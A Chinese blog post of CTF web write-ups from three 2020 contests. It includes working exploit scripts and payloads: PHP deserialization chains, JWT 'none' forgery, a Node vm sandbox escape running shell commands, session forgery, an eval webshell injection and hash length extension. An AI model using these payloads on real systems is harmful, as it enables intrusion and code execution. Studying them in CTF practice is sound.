follow my dream

2020-4中旬比赛与刷题

字数统计: 2.7k阅读时长: 14 min
2020/04/26 Share

安恒月赛-4

web

暂时就web,最近实在没太大精力

0x01

pop构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
show_source("2_payload.php");

class A{
public $username;
public $password;
function __construct(){
$this->username = null;
$this->password = new B();
}
}

class B{
public $b ;
function __construct(){
$this->b = new C();
}
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c;
function __construct(){
$this->c = 'flag.php';
}
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A();
echo (serialize($a));

题目大概源于:

Joomla3.0.0-3.4.6 RCE分析

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
#show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = 'AAAA";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}';

# strlen($password);

#$a = new A($_GET['a'],$_GET['b']);
$a = new A($username,$password);
echo (serialize($a));
#echo strlen(read(write(serialize($a))));
$b = unserialize(read(write(serialize($a))));

虎符2020

web

easylogin

丢人的是比赛的时候,完全不知道还有controllers/api.js文件存在

Orz 开发知识匮乏,有空补充koa开发

简单讲述jwt,由三个部分组成,分别为head+payload+Signatrue

其中前两个为base64_encode,后签名则是由head、payload、以及secret(可为NULL)和算法(HMAC or SHA256)生成

常见的问题和解法可以看先知上的前辈讲解

/static/js/app.js

1
2
3
4
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

可知有源代码泄露的可能性,需要一定开发经验和了解框架

推荐

https://www.liaoxuefeng.com/wiki/1022910821149312/1099752344192192

1
2
3
4
5
app.js
controller.js
rest.js
controller/api.js
package.json #版本信息

controller/api.js 源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},



'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},




'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

要获取flag需要先登录获取admin session

而在登录部分是根据post的值和jwt配合验证的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

关键在于jwt的secret值随机且crypto.randomBytes(18).toString('hex');

无法正常爆破

所以利用的是jsonwebtoken的secret 为NULL的漏洞 存在option.alg == header.alg的校验。当secret == null时option.alg == ‘none’

jwt payload:

1
2
3
4
5
6
7
8
9
10
import jwt
a = {
"secretid": [],
"username": "admin",
"password": "xzas",
"iat": 1587747296
}
jj=jwt.encode(a, None, algorithm='none')
print(jj)

image-20200425011327997

image-20200425011341067

JustEscape

image-20200425012004195

所以不是php,还是node.js

看了官方给的wp,有几点不懂,为什么用Error().stack来报错,以及如何看出是vm沙箱逃逸,还有找相关官方文档或漏洞信息。

还需补充学习

常见的知识点

https://xz.aliyun.com/t/7184#toc-13

u1s1还是没懂,这里我直接用官方给的payload

1
2
3
4
5
6
7
import requests

base_url = "http://x"
url = base_url + '/run.php?code=(()=%3E{%20TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`]%20=%20f=%3Ef[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,`%20`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))();%20try{%20Object[`preventExtensions`](Buffer[`from`](``))[`a`]%20=%201;%20}catch(e){%20return%20e[`a`](()=%3E{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat%20flag`)[`toString`]();%20}%20})()'
response = requests.get(url)
print(response.text)

babyupload

代码审计

解题思路:

  1. 利用download读取自己的session

  2. 发现session内容格式,得知session引起为php_binary

  3. 构造admin的session内容,利用attr和sha256拼接后缀的规则,进行bypass,往session目录上传sess文件

  4. 伪造session成为admin

  5. 利用attr的截断,去掉拼接的sha256后缀,达成任意文件名控制

  6. 成功创建success.txt文件,获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);

# session 检测用户 用于catch_flag
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}


$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
# 这边的话,post 两个值 direction and attr
# attr === private dir_path = "/".$_SESSION['username']
# attr != private 则 dir_path 默认为 /var/babyctf/.$attr

if($direction === "upload"){ # 上传
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name']; # file_path 拼接 file_path/file_name
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);# file_path 再次拼接 dir_path/file_name_hash_file("sha256",tmp_file_name)
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ # 禁止目录穿越
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE); # chmod mkdir dir_path
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){ #转移文件
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage(); # 报错信息
}
} elseif ($direction === "download") { #下载
try{
$filename = basename(filter_input(INPUT_POST, 'filename')); # 返回文件名
$file_path = $dir_path."/".$filename; # 修改file_path = dir_path/filename
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ # 禁止目录穿越
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download'); #响应头
header('Content-Length: '.filesize($file_path)); #响应头 文件大小
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"'); # 这个地方有趣 filename 为 filename 从0开始后往前取 65 注意 文件名顺序不变
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

😓 wp一直半解,原理能大致明白,但有些操作还是很迷

python request 的file

download到底怎么用?

待续….

白嫖前辈脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
from io import BytesIO
import hashlib

target_url = "http://db39a632-33ee-4b50-be3a-b1910e21ab57.node3.buuoj.cn/"

def ReadSession():
data = {
'attr':'.',
'direction':'download',
'filename':'sess_bd6cbb52f804cc7b52d4ca5339dbd4e0'
}
url = target_url
s = requests.get(url=url)
r = requests.post(url=url,data=data)
print r.content[len(s.content):]

def BeAdmin():
files = {
"up_file": ("sess", BytesIO('\x08usernames:5:"admin";'))
}
data = {
'attr':'.',
'direction':'upload'
}
url = target_url
r = requests.post(url=url,data=data,files=files)
session_id = hashlib.sha256('\x08usernames:5:"admin";').hexdigest()
return session_id

def upload_success():
files = {
"up_file": ("test", BytesIO('good job!'))
}
data = {
'attr':'success.txt',
'direction':'upload'
}
url = target_url
r = requests.post(url=url,data=data,files=files)

print 'Now Guest PHPSESSION Content is:',ReadSession()
print 'PHPSESSID is:',BeAdmin()
print 'Now Upload Success.txt'
print '*'*50
upload_success()
php_session_id = BeAdmin()
cookies = {
'PHPSESSID':php_session_id
}
url = target_url
s = requests.get(url)
r = requests.get(url=url,cookies=cookies)
print 'Now here is your flag!'
print r.content[len(s.content):]

NPUCTF-2020

web

ReadlezPHP

检查源代码 ,发现源代码连接/time.php?source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

查考php反序列化

一开始打算直接执行eval(system(“ifconfig”)),但无法执行,判断可能被过滤。

其他方案利用*assert()*可以将整个字符串参数当作php参数执行

1
2
$c->b = 'assert';
$c->a = 'eval($_POST[a]);';

蚁剑连接,上传phpinfo()文件

call_user_func(phpinfo)

ps:这题flag放在phpinfo脑洞是真滴大

参考:

https://www.cnblogs.com/youmg/p/12763212.html

ezinclude

1
<!--md5($secret.$name)===$pass -->

hash扩展

m0on前辈的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import hashpumpy
import urllib

url = "http://9c38d8a3-46ce-4844-af47-352c15dc4a13.node3.buuoj.cn/"
r = requests.session()
resp = r.get(url+"?name=xzas&pass=123")
print(resp.headers)
hash = "e3f5c24ad52dfdd98429b0265733518b"
for i in range(40):
a,b=hashpumpy.hashpump(hash,'xzas','123',i)
get_url = url+"?"+"name={}&pass={}".format(urllib.parse.quote(b),a)
print(get_url)
req=requests.get(get_url)
print(req.text)
if 'username/password error' not in req.text:
print(req.text,get_url)

http://9c38d8a3-46ce-4844-af47-352c15dc4a13.node3.buuoj.cn/?name=xzas%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%20%01%00%00%00%00%00%00123&pass=38df01f4d0323342ed8111810411b7ae

之后访问会跳转到/flflflflag.php 因为js脚本会跳转到404.html

利用php7 segment fault特性 php://filter/string.strip_tags=/etc/passwd php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除

1
2
3
4
5
6
7
8
9
10
import requests
from io import BytesIO
import re

payload = "<?php phpinfo()?>"
file_data={
'file': BytesIO(payload.encode())
}
url="http://9c38d8a3-46ce-4844-af47-352c15dc4a13.node3.buuoj.cn/flflflflag.php?"+"file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=file_data,allow_redirects=False)

利用dir.php 文件获取tmp目录信息

image-20200426004240325

image-20200426004757047

推荐阅读:

https://www.anquanke.com/post/id/183046

后面的题目好难 Orz

后期边学边刷吧

官方wp:

https://shimo.im/docs/6hyIjGkLoRc43JRs/read

https://github.com/sqxssss/NPUCTF_WriteUps

比赛质量好高

后记

自己还是太菜了,只能复现

CATALOG
  1. 1. 安恒月赛-4
    1. 1.1. web
      1. 1.1.1. 0x01
  2. 2. 虎符2020
    1. 2.1. web
      1. 2.1.1. easylogin
      2. 2.1.2. JustEscape
      3. 2.1.3. babyupload
  3. 3. NPUCTF-2020
    1. 3.1. web
      1. 3.1.1. ReadlezPHP
      2. 3.1.2. ezinclude
  4. 4.
  5. 5. 后记